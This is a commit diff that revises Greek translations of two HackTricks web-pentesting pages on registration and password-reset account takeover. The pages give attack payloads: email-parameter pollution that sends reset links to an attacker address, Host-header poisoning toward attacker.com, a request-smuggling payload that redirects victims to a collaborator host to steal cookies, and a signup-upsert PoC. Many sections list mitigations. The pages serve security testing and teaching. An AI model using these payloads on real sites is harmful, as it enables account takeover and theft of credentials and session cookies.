Translated ['', 'src/pentesting-web/registration-vulnerabilities.md', 's

This commit is contained in:
Translator 2025-09-30 09:30:03 +00:00
parent 3e9b33aedc
commit 5a55c0caa7
2 changed files with 190 additions and 154 deletions

View File

@ -1,77 +1,79 @@
# Ευπάθειες Εγγραφής & Κατάληψης
# Registration & Takeover Vulnerabilities
{{#include ../banners/hacktricks-training.md}}
## Κατάληψη Εγγραφής
## Registration Takeover
### Διπλή Εγγραφή
### Duplicate Registration
- Προσπαθήστε να δημιουργήσετε χρησιμοποιώντας ένα υπάρχον όνομα χρήστη
- Ελέγξτε ποικιλία στο email:
- uppsercase
- Προσπάθησε να δημιουργήσεις χρησιμοποιώντας ένα υπάρχον username
- Έλεγξε παραλλαγές του email:
- uppercase
- \+1@
- προσθέστε κάποιο τελεία στο email
- ειδικούς χαρακτήρες στο όνομα email (%00, %09, %20)
- Βάλτε μαύρους χαρακτήρες μετά το email: `test@test.com a`
- πρόσθεσε μια dot στο email
- ειδικοί χαρακτήρες στο όνομα του email (%00, %09, %20)
- Βάλε κενά χαρακτήρες μετά το email: `test@test.com a`
- victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
### Αριθμητική Καταμέτρηση Ονομάτων Χρηστών
### Username Enumeration
Ελέγξτε αν μπορείτε να καταλάβετε πότε ένα όνομα χρήστη έχει ήδη εγγραφεί μέσα στην εφαρμογή.
Ελέγξτε αν μπορείτε να διαπιστώσετε πότε ένα username έχει ήδη καταχωρηθεί στην εφαρμογή.
### Πολιτική Κωδικών Πρόσβασης
### Password Policy
Δημιουργώντας έναν χρήστη ελέγξτε την πολιτική κωδικών πρόσβασης (ελέγξτε αν μπορείτε να χρησιμοποιήσετε αδύναμους κωδικούς).\
Σε αυτή την περίπτωση μπορείτε να προσπαθήσετε να κάνετε bruteforce τα διαπιστευτήρια.
Κατά τη δημιουργία χρήστη έλεγξε την πολιτική password (έλεγξε αν μπορείς να χρησιμοποιήσεις αδύναμα passwords).\
Σε αυτή την περίπτωση μπορείς να δοκιμάσεις bruteforce των credentials.
### SQL Injection
[**Ελέγξτε αυτή τη σελίδα** ](sql-injection/index.html#insert-statement)για να μάθετε πώς να προσπαθήσετε καταλήψεις λογαριασμών ή να εξάγετε πληροφορίες μέσω **SQL Injections** σε φόρμες εγγραφής.
[**Check this page** ](sql-injection/index.html#insert-statement) για να μάθεις πώς να επιχειρήσεις account takeovers ή να εξάγεις πληροφορίες μέσω **SQL Injections** σε φόρμες εγγραφής.
### Oauth Takeovers
### Oauth Καταλήψεις
{{#ref}}
oauth-to-account-takeover.md
{{#endref}}
### Ευπάθειες SAML
### SAML Vulnerabilities
{{#ref}}
saml-attacks/
{{#endref}}
### Αλλαγή Email
### Change Email
Όταν εγγραφείτε προσπαθήστε να αλλάξετε το email και ελέγξτε αν αυτή η αλλαγή επικυρώνεται σωστά ή αν μπορείτε να την αλλάξετε σε αυθαίρετα emails.
Όταν είσαι εγγεγραμμένος προσπάθησε να αλλάξεις το email και έλεγξε αν αυτή η αλλαγή επαληθεύεται σωστά ή αν μπορείς να το αλλάξεις σε αυθαίρετα emails.
### Περισσότεροι Έλεγχοι
### More Checks
- Ελέγξτε αν μπορείτε να χρησιμοποιήσετε **disposable emails**
- **Μακρύς** **κωδικός** (>200) οδηγεί σε **DoS**
- **Ελέγξτε τα όρια ρυθμού στη δημιουργία λογαριασμών**
- Χρησιμοποιήστε username@**burp_collab**.net και αναλύστε το **callback**
- Έλεγξε αν μπορείς να χρησιμοποιήσεις **disposable emails**
- Πολύ μεγάλο **password** (>200) οδηγεί σε **DoS**
- **Check rate limits on account creation**
- Χρησιμοποίησε username@**burp_collab**.net και ανέλυσε το **callback**
## **Κατάληψη Επαναφοράς Κωδικού Πρόσβασης**
## **Password Reset Takeover**
### Διαρροή Token Επαναφοράς Κωδικού μέσω Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
### Password Reset Token Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
1. Ζητήστε επαναφορά κωδικού στο email σας
2. Κάντε κλικ στον σύνδεσμο επαναφοράς κωδικού
3. Μην αλλάξετε τον κωδικό
4. Κάντε κλικ σε οποιαδήποτε 3η ιστοσελίδα (π.χ.: Facebook, twitter)
5. Παρεμβάλετε το αίτημα στο Burp Suite proxy
6. Ελέγξτε αν η κεφαλίδα referer διαρρέει το token επαναφοράς κωδικού.
1. Ζήτησε password reset στη διεύθυνση email σου
2. Κάνε κλικ στον σύνδεσμο password reset
3. Μην αλλάξεις το password
4. Κάνε κλικ σε οποιονδήποτε 3rd party ιστότοπο (π.χ. Facebook, twitter)
5. Intercept το request στο Burp Suite proxy
6. Έλεγξε αν ο referer header is leaking το password reset token.
### Δηλητηρίαση Επαναφοράς Κωδικού <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
1. Παρεμβάλετε το αίτημα επαναφοράς κωδικού στο Burp Suite
2. Προσθέστε ή επεξεργαστείτε τις παρακάτω κεφαλίδες στο Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Προωθήστε το αίτημα με την τροποποιημένη κεφαλίδα\
1. Intercept το password reset request στο Burp Suite
2. Πρόσθεσε ή επεξεργάσου τα παρακάτω headers στο Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Προώθησε (forward) το request με το τροποποιημένο header\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Αναζητήστε μια διεύθυνση URL επαναφοράς κωδικού βασισμένη στην _κεφαλίδα host_ όπως : `https://attacker.com/reset-password.php?token=TOKEN`
4. Ψάξε για ένα password reset URL βασισμένο στο _host header_ όπως : `https://attacker.com/reset-password.php?token=TOKEN`
### Επαναφορά Κωδικού μέσω Παραμέτρου Email <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
@ -88,58 +90,58 @@ email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
```
### IDOR on API Parameters <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
### IDOR σε παραμέτρους API <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
1. Ο επιτιθέμενος πρέπει να συνδεθεί με τον λογαριασμό του και να μεταβεί στη λειτουργία **Αλλαγή κωδικού**.
2. Ξεκινήστε το Burp Suite και παγιδεύστε το αίτημα.
3. Στείλτε το στην καρτέλα επαναλήπτη και επεξεργαστείτε τις παραμέτρους: User ID/email\
2. Ξεκινήστε το Burp Suite και Intercept το αίτημα\
3. Στείλτε το στην καρτέλα repeater και επεξεργαστείτε τις παραμέτρους : User ID/email\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
### Weak Password Reset Token <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
### Αδύναμο token επαναφοράς κωδικού <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
Το token επαναφοράς κωδικού πρέπει να δημιουργείται τυχαία και να είναι μοναδικό κάθε φορά.\
Προσπαθήστε να προσδιορίσετε αν το token λήγει ή αν είναι πάντα το ίδιο, σε ορισμένες περιπτώσεις ο αλγόριθμος δημιουργίας είναι αδύναμος και μπορεί να μαντευτεί. Οι παρακάτω μεταβλητές μπορεί να χρησιμοποιηθούν από τον αλγόριθμο.
Το password reset token πρέπει να δημιουργείται τυχαία και να είναι μοναδικό κάθε φορά.\
Προσπαθήστε να καθορίσετε αν το token λήγει ή αν είναι πάντα το ίδιο — σε ορισμένες περιπτώσεις ο αλγόριθμος δημιουργίας είναι αδύναμος και μπορεί να εικαστεί. Οι παρακάτω μεταβλητές μπορεί να χρησιμοποιούνται από τον αλγόριθμο.
- Timestamp
- Χρονική σήμανση (Timestamp)
- UserID
- Email του χρήστη
- Όνομα και Επώνυμο
- Ημερομηνία Γέννησης
- Ημερομηνία γέννησης
- Κρυπτογραφία
- Μόνο αριθμοί
- Μικρή ακολουθία token (χαρακτήρες μεταξύ \[A-Z,a-z,0-9])
- Επαναχρησιμοποίηση token
- Επανάχρηση token
- Ημερομηνία λήξης token
### Leaking Password Reset Token <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
1. Προκαλέστε ένα αίτημα επαναφοράς κωδικού χρησιμοποιώντας το API/UI για μια συγκεκριμένη διεύθυνση email π.χ: test@mail.com
2. Εξετάστε την απάντηση του διακομιστή και ελέγξτε για `resetToken`
3. Στη συνέχεια, χρησιμοποιήστε το token σε μια διεύθυνση URL όπως `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
1. Trigger ένα αίτημα επαναφοράς κωδικού χρησιμοποιώντας το API/UI για ένα συγκεκριμένο email π.χ: test@mail.com
2. Εξετάστε την απάντηση του server και ελέγξτε για `resetToken`
3. Έπειτα χρησιμοποιήστε το token σε ένα URL όπως `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
### Password Reset Via Username Collision <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
### Επαναφορά κωδικού μέσω σύγκρουσης username <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
1. Εγγραφείτε στο σύστημα με ένα όνομα χρήστη ταυτόσημο με το όνομα χρήστη του θύματος, αλλά με κενά πριν και/ή μετά το όνομα χρήστη. π.χ: `"admin "`
2. Ζητήστε μια επαναφορά κωδικού με το κακόβουλο όνομα χρήστη σας.
1. Εγγραφείτε στο σύστημα με ένα username-identical στον χρήστη-θύμα, αλλά εισάγετε κενά πριν και/ή μετά το username. π.χ: `"admin "`
2. Ζητήστε επαναφορά κωδικού με το κακόβουλο username σας.
3. Χρησιμοποιήστε το token που στάλθηκε στο email σας και επαναφέρετε τον κωδικό του θύματος.
4. Συνδεθείτε στον λογαριασμό του θύματος με τον νέο κωδικό.
Η πλατφόρμα CTFd ήταν ευάλωτη σε αυτήν την επίθεση.\
Δείτε: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
### Account Takeover Via Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
### Κατάληψη λογαριασμού μέσω Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
1. Βρείτε ένα XSS μέσα στην εφαρμογή ή σε ένα υποτομέα αν τα cookies είναι περιορισμένα στον γονικό τομέα: `*.domain.com`
2. Διαρρεύστε το τρέχον **cookie συνεδρίας**
1. Βρείτε ένα XSS μέσα στην εφαρμογή ή σε subdomain εάν τα cookies είναι scoped στο parent domain : `*.domain.com`
2. Leak τα τρέχοντα **sessions cookie**
3. Αυθεντικοποιηθείτε ως ο χρήστης χρησιμοποιώντας το cookie
### Account Takeover Via HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
### Κατάληψη λογαριασμού μέσω HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
1\. Χρησιμοποιήστε **smuggler** για να ανιχνεύσετε τον τύπο HTTP Request Smuggling (CL, TE, CL.TE)\
1\. Χρησιμοποιήστε **smuggler** για να εντοπίσετε τον τύπο του HTTP Request Smuggling (CL, TE, CL.TE)\
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2\. Δημιουργήστε ένα αίτημα που θα αντικαταστήσει το `POST / HTTP/1.1` με τα παρακάτω δεδομένα:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` με στόχο να ανακατευθύνετε τα θύματα στο burpcollab και να κλέψετε τα cookies τους\
3\. Το τελικό αίτημα θα μπορούσε να μοιάζει με το εξής
2\. Δημιουργήστε ένα αίτημα το οποίο θα υπερχαράξει το `POST / HTTP/1.1` με τα ακόλουθα δεδομένα:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` με στόχο να προκαλέσει open redirect τα θύματα προς burpcollab και να κλέψει τα cookies τους\
3\. Το τελικό αίτημα θα μπορούσε να μοιάζει ως εξής
```
GET / HTTP/1.1
Transfer-Encoding: chunked
@ -151,18 +153,18 @@ Content-Length: 83
GET http://something.burpcollaborator.net HTTP/1.1
X: X
```
Hackerone αναφέρει την εκμετάλλευση αυτού του σφάλματος\
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
Αναφορές στο Hackerone που περιγράφουν την εκμετάλλευση αυτού του bug\
* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
### Υποκατάληψη Λογαριασμού μέσω CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
### Κατάληψη Λογαριασμού μέσω CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
1. Δημιουργήστε ένα payload για το CSRF, π.χ: “HTML φόρμα με αυτόματη υποβολή για αλλαγή κωδικού
1. Δημιουργήστε ένα payload για το CSRF, π.χ.: “HTML form with auto submit for a password change
2. Στείλτε το payload
### Υποκατάληψη Λογαριασμού μέσω JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
### Κατάληψη Λογαριασμού μέσω JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
Το JSON Web Token μπορεί να χρησιμοποιηθεί για την αυθεντικοποίηση ενός χρήστη.
JSON Web Token μπορεί να χρησιμοποιηθεί για την αυθεντικοποίηση ενός χρήστη.
- Επεξεργαστείτε το JWT με άλλο User ID / Email
- Ελέγξτε για αδύναμη υπογραφή JWT
@ -172,8 +174,29 @@ Hackerone αναφέρει την εκμετάλλευση αυτού του σ
hacking-jwt-json-web-tokens.md
{{#endref}}
## Εγγραφή-ως-Επαναφορά (Upsert on Existing Email)
Ορισμένοι signup handlers πραγματοποιούν upsert όταν το παρεχόμενο email υπάρχει ήδη. Αν το endpoint δέχεται ένα ελάχιστο body με email και password και δεν επιβάλλει επαλήθευση ιδιοκτησίας, η αποστολή του email του θύματος θα αντικαταστήσει το password του πριν την αυθεντικοποίηση.
- Discovery: συλλέξτε ονόματα endpoint από το bundled JS (ή mobile app traffic), στη συνέχεια fuzz-άρετε base paths όπως /parents/application/v4/admin/FUZZ χρησιμοποιώντας ffuf/dirsearch.
- Method hints: ένα GET που επιστρέφει μηνύματα όπως "Only POST request is allowed." συχνά υποδεικνύει το σωστό ρήμα και ότι αναμένεται JSON body.
- Minimal body observed in the wild:
```json
{"email":"victim@example.com","password":"New@12345"}
```
Παράδειγμα PoC:
```http
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json
{"email":"victim@example.com","password":"New@12345"}
```
Επίπτωση: Full Account Takeover (ATO) χωρίς κανένα reset token, OTP, ή email verification.
## Αναφορές
- [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1)
- [https://salmonsec.com/cheatsheet/account_takeover](https://salmonsec.com/cheatsheet/account_takeover)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,12 +1,12 @@
# Reset/Forgotten Password Bypass
# Παράκαμψη Επαναφοράς/Ξεχασμένου Κωδικού
{{#include ../banners/hacktricks-training.md}}
## **Password Reset Token leak Via Referrer**
## **Token επαναφοράς κωδικού Leak Via Referrer**
- Το HTTP referer header μπορεί να leak το password reset token αν συμπεριλαμβάνεται στο URL. Αυτό μπορεί να συμβεί όταν ένας χρήστης κάνει κλικ σε σύνδεσμο μιας ιστοσελίδας τρίτου μέρους αφού ζητήσει επαναφορά κωδικού.
- **Impact**: Δυνατή ανάληψη λογαριασμού μέσω Cross-Site Request Forgery (CSRF) attacks.
- **Exploitation**: Για να ελέγξετε αν ένα password reset token leak στον referer header, **ζητήστε επαναφορά κωδικού** στο email σας και **κάντε κλικ στο reset link** που αποστέλλεται. **Μην αλλάξετε τον κωδικό σας** άμεσα. Αντίθετα, **μεταβείτε σε μια ιστοσελίδα τρίτου μέρους** (π.χ. Facebook ή Twitter) ενώ **αναχαιτίζετε τα requests με Burp Suite**. Ελέγξτε τα requests για να δείτε αν ο **referer header περιέχει το password reset token**, καθώς αυτό μπορεί να εκθέσει ευαίσθητες πληροφορίες σε τρίτους.
- Το HTTP referer header μπορεί να leak το token επαναφοράς κωδικού αν περιλαμβάνεται στο URL. Αυτό μπορεί να συμβεί όταν ένας χρήστης κάνει κλικ σε σύνδεσμο ιστοτόπου τρίτου μετά από αίτημα επαναφοράς κωδικού.
- **Επίπτωση**: Πιθανή ανάληψη λογαριασμού μέσω Cross-Site Request Forgery (CSRF).
- **Εκμετάλλευση**: Για να ελέγξετε αν ένα token επαναφοράς κωδικού leak στο referer header, **ζητήστε επαναφορά κωδικού** στη διεύθυνση email σας και **κάντε κλικ στον παρεχόμενο σύνδεσμο επαναφοράς**. **Μην αλλάξετε αμέσως τον κωδικό σας**. Αντίθετα, **πλοηγηθείτε σε έναν ιστότοπο τρίτου** (όπως Facebook ή Twitter) ενώ **intercepting the requests using Burp Suite**. Εξετάστε τα αιτήματα για να δείτε αν το **referer header περιέχει το token επαναφοράς κωδικού**, καθώς αυτό μπορεί να εκθέσει ευαίσθητες πληροφορίες σε τρίτους.
- **References**:
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
@ -14,18 +14,18 @@
## **Password Reset Poisoning**
- Οι επιτιθέμενοι μπορούν να χειριστούν το Host header κατά τα password reset requests για να δείξουν το reset link σε κακόβουλο site.
- **Impact**: Οδηγεί σε πιθανή ανάληψη λογαριασμού με το leak των reset tokens στους επιτιθέμενους.
- **Mitigation Steps**:
- Επικυρώστε το Host header έναντι μιας whitelist επιτρεπόμενων domains.
- Χρησιμοποιήστε ασφαλείς, server-side μεθόδους για να δημιουργείτε absolute URLs.
- Οι επιτιθέμενοι μπορεί να χειριστούν το Host header κατά τα αιτήματα επαναφοράς κωδικού ώστε ο σύνδεσμος επαναφοράς να δείχνει σε κακόβουλο ιστότοπο.
- **Επίπτωση**: Οδηγεί σε πιθανή ανάληψη λογαριασμού με leaking των reset tokens στους επιτιθέμενους.
- **Βήματα μετριασμού**:
- Επαληθεύστε το Host header έναντι μιας whitelist επιτρεπόμενων domains.
- Χρησιμοποιήστε ασφαλείς, server-side μεθόδους για να δημιουργείτε απόλυτα URLs.
- **Patch**: Use `$_SERVER['SERVER_NAME']` to construct password reset URLs instead of `$_SERVER['HTTP_HOST']`.
- **References**:
- [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
## **Password Reset By Manipulating Email Parameter**
## **Επαναφορά κωδικού με χειρισμό της παραμέτρου email**
Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.
Οι επιτιθέμενοι μπορούν να χειριστούν το αίτημα επαναφοράς κωδικού προσθέτοντας επιπλέον παραμέτρους email για να αποπροσανατολίσουν τον σύνδεσμο επαναφοράς.
- Προσθέστε το email του επιτιθέμενου ως δεύτερη παράμετρο χρησιμοποιώντας &
```php
@ -33,146 +33,146 @@ POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
```
- Πρόσθεσε το email του επιτιθέμενου ως δεύτερη παράμετρο χρησιμοποιώντας %20
- Πρόσθεσε το attacker email ως δεύτερη παράμετρο χρησιμοποιώντας %20
```php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
```
- Προσθέστε το email του επιτιθέμενου ως δεύτερο παράμετρο χρησιμοποιώντας |
- Προσθέστε attacker email ως δεύτερη παράμετρο χρησιμοποιώντας |
```php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
```
- Προσθέστε το attacker e-mail ως δεύτερη παράμετρο χρησιμοποιώντας cc
- Προσθέστε το attacker email ως δεύτερη παράμετρο χρησιμοποιώντας cc
```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
```
- Προσθέστε το attacker email ως δεύτερη παράμετρο χρησιμοποιώντας bcc
- Πρόσθεσε το attacker email ως δεύτερη παράμετρο, χρησιμοποιώντας bcc
```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
```
- Προσθέστε attacker email ως δεύτερη παράμετρο χρησιμοποιώντας ,
- Προσθέστε το attacker email ως δεύτερη παράμετρο χρησιμοποιώντας ,
```php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
```
- Πρόσθεσε το attacker email ως δεύτερη παράμετρο στο json array
- Προσθέστε attacker email ως δεύτερη παράμετρο σε json array
```php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}
```
- **Μέτρα μετριασμού**:
- Αναλύστε και επικυρώστε σωστά τις παραμέτρους email στο server.
- **Βήματα αντιμετώπισης**:
- Επεξεργαστείτε και επικυρώστε σωστά τις παραμέτρους email στο server.
- Χρησιμοποιήστε prepared statements ή parameterized queries για να αποτρέψετε injection attacks.
- **Αναφορές**:
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
## **Αλλαγή Email και Password οποιουδήποτε χρήστη μέσω API Parameters**
## **Αλλαγή Email και Password οποιουδήποτε χρήστη μέσω παραμέτρων API**
- Οι επιτιθέμενοι μπορούν να τροποποιήσουν τις παραμέτρους email και password στις API requests για να αλλάξουν τα credentials του λογαριασμού.
- Οι επιτιθέμενοι μπορούν να τροποποιήσουν τις παραμέτρους email και password σε αιτήματα API για να αλλάξουν τα account credentials.
```php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
```
- **Μέτρα αντιμετώπισης**:
- Εξασφαλίστε αυστηρό έλεγχο παραμέτρων και επαλήθευση ταυτότητας.
- Εφαρμόστε αξιόπιστη καταγραφή και παρακολούθηση για να εντοπίζετε και να ανταποκρίνεστε σε ύποπτες ενέργειες.
- **Αναφορά**:
- **Βήματα μετριασμού**:
- Διασφαλίστε αυστηρό έλεγχο παραμέτρων και ελέγχους πιστοποίησης.
- Εφαρμόστε αξιόπιστο logging και monitoring για την ανίχνευση και αντιμετώπιση ύποπτων ενεργειών.
- **Reference**:
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
## **Χωρίς Rate Limiting: Email Bombing**
## **No Rate Limiting: Email Bombing**
- Η έλλειψη rate limiting για τα αιτήματα επαναφοράς κωδικού μπορεί να οδηγήσει σε email bombing, κατακλύζοντας τον χρήστη με μηνύματα επαναφοράς.
- **Μέτρα αντιμετώπισης**:
- Εφαρμόστε rate limiting με βάση τη διεύθυνση IP ή τον λογαριασμό χρήστη.
- Χρησιμοποιήστε CAPTCHA για να αποτρέψετε την αυτοματοποιημένη κατάχρηση.
- **Αναφορές**:
- Η έλλειψη rate limiting σε password reset requests μπορεί να οδηγήσει σε email bombing, υπερφορτώνοντας τον χρήστη με reset emails.
- **Βήματα μετριασμού**:
- Εφαρμόστε rate limiting βάσει IP address ή user account.
- Χρησιμοποιήστε CAPTCHA challenges για την αποτροπή αυτοματοποιημένης κατάχρησης.
- **References**:
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
## **Μάθετε πώς δημιουργείται το password reset token**
## **Find out How Password Reset Token is Generated**
- Η κατανόηση του μοτίβου ή της μεθόδου πίσω από τη δημιουργία token μπορεί να οδηγήσει στην πρόβλεψη ή brute-forcing των token. Κάποιες επιλογές:
- Η κατανόηση του pattern ή της μεθόδου πίσω από την παραγωγή του token μπορεί να οδηγήσει στην πρόβλεψη ή στο brute-forcing των tokens. Μερικές επιλογές:
- Βασισμένο σε Timestamp
- Βασισμένο στο UserID
- Βασισμένο στο email του χρήστη
- Βασισμένο στο όνομα και επίθετο
- Βασισμένο στην Ημερομηνία Γέννησης
- Βασισμένο σε κρυπτογραφία
- **Μέτρα αντιμετώπισης**:
- Χρησιμοποιήστε ισχυρές, κρυπτογραφικές μεθόδους για τη δημιουργία token.
- Εξασφαλίστε επαρκή τυχαιότητα και μήκος για να αποτρέψετε την προβλεψιμότητα.
- **Εργαλεία**: Χρησιμοποιήστε Burp Sequencer για να αναλύσετε την τυχαιότητα των token.
- Βασισμένο στο email του User
- Βασισμένο στο Firstname και Lastname
- Βασισμένο στην Date of Birth
- Βασισμένο σε Cryptography
- **Βήματα μετριασμού**:
- Χρησιμοποιήστε ισχυρές, κρυπτογραφικές μεθόδους για την παραγωγή token.
- Εξασφαλίστε επαρκή randomness και μήκος για να αποτρέψετε την προβλεψιμότητα.
- **Εργαλεία**: Χρησιμοποιήστε Burp Sequencer για να αναλύσετε την τυχαιότητα των tokens.
## **Μαντέψιμα UUID**
## **Guessable UUID**
- Εάν τα UUIDs (version 1) είναι μαντέψιμα ή προβλέψιμα, οι επιτιθέμενοι μπορεί να τα brute-force για να δημιουργήσουν έγκυρα reset tokens. Ελέγξτε:
- Αν τα UUIDs (version 1) είναι guessable ή predictable, οι επιτιθέμενοι μπορεί να τα brute-force για να δημιουργήσουν έγκυρα reset tokens. Έλεγχος:
{{#ref}}
uuid-insecurities.md
{{#endref}}
- **Μέτρα αντιμετώπισης**:
- Χρησιμοποιήστε GUID version 4 για τυχαιότητα ή εφαρμόστε επιπλέον μέτρα ασφάλειας για άλλες εκδόσεις.
- **Εργαλεία**: Χρησιμοποιήστε [guidtool](https://github.com/intruder-io/guidtool) για την ανάλυση και δημιουργία GUIDs.
- **Βήματα μετριασμού**:
- Χρησιμοποιήστε GUID version 4 για randomness ή εφαρμόστε επιπλέον μέτρα ασφαλείας για άλλες versions.
- **Εργαλεία**: Χρησιμοποιήστε [guidtool](https://github.com/intruder-io/guidtool) για ανάλυση και δημιουργία GUIDs.
## **Response Manipulation: Αντικατάσταση Κακής Απόκρισης με Καλή**
## **Response Manipulation: Replace Bad Response With Good One**
- Χειραγώγηση HTTP responses για να παρακάμψετε μηνύματα σφάλματος ή περιορισμούς.
- **Μέτρα αντιμετώπισης**:
- Εφαρμόστε server-side ελέγχους για να διασφαλίσετε την ακεραιότητα των αποκρίσεων.
- Χρησιμοποιήστε ασφαλή κανάλια επικοινωνίας όπως HTTPS για να αποτρέψετε man-in-the-middle attacks.
- **Αναφορά**:
- Παραποίηση HTTP responses για παράκαμψη error messages ή περιορισμών.
- **Βήματα μετριασμού**:
- Εφαρμόστε server-side ελέγχους για να διασφαλίσετε την ακεραιότητα των responses.
- Χρησιμοποιήστε secure communication channels όπως HTTPS για να αποτρέψετε man-in-the-middle attacks.
- **Reference**:
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
## **Χρήση Ληγμένου Token**
## **Using Expired Token**
- Δοκιμή αν ληγμένα tokens μπορούν ακόμα να χρησιμοποιηθούν για επαναφορά κωδικού.
- **Μέτρα αντιμετώπισης**:
- Εφαρμόστε αυστηρές πολιτικές λήξης token και επικυρώστε τη λήξη του token στο server-side.
- Δοκιμή κατά πόσον expired tokens μπορούν ακόμα να χρησιμοποιηθούν για password reset.
- **Βήματα μετριασμού**:
- Εφαρμόστε αυστηρές πολιτικές expiration των token και επικυρώστε την expiry server-side.
## **Brute Force του Password Reset Token**
## **Brute Force Password Reset Token**
- Προσπάθεια brute-force του reset token χρησιμοποιώντας εργαλεία όπως Burpsuite και IP-Rotator για να παρακάμψετε rate limits βάσει IP.
- **Μέτρα αντιμετώπισης**:
- Εφαρμόστε ισχυρό rate-limiting και μηχανισμούς κλειδώματος λογαριασμού.
- Παρακολουθήστε για ύποπτες δραστηριότητες που υποδηλώνουν brute-force attacks.
- Επιχείρηση brute-force του reset token χρησιμοποιώντας εργαλεία όπως Burpsuite και IP-Rotator για την παράκαμψη των IP-based rate limits.
- **Βήματα μετριασμού**:
- Εφαρμόστε ισχυρό rate-limiting και μηχανισμούς account lockout.
- Παρακολουθήστε για ύποπτες ενέργειες που υποδηλώνουν brute-force attacks.
## **Δοκιμάστε να χρησιμοποιήσετε το token σας**
## **Try Using Your Token**
- Δοκιμή αν το reset token ενός επιτιθέμενου μπορεί να χρησιμοποιηθεί σε συνδυασμό με το email του θύματος.
- **Μέτρα αντιμετώπισης**:
- Εξασφαλίστε ότι τα tokens συνδέονται με τη συνεδρία χρήστη ή άλλα χρήστη-συγκεκριμένα χαρακτηριστικά.
- Δοκιμή αν το reset token ενός attacker μπορεί να χρησιμοποιηθεί σε συνδυασμό με το email του θύματος.
- **Βήματα μετριασμού**:
- Διασφαλίστε ότι τα tokens είναι δεμένα με το user session ή άλλα user-specific attributes.
## **Ακύρωση συνεδρίας κατά Logout/Password Reset**
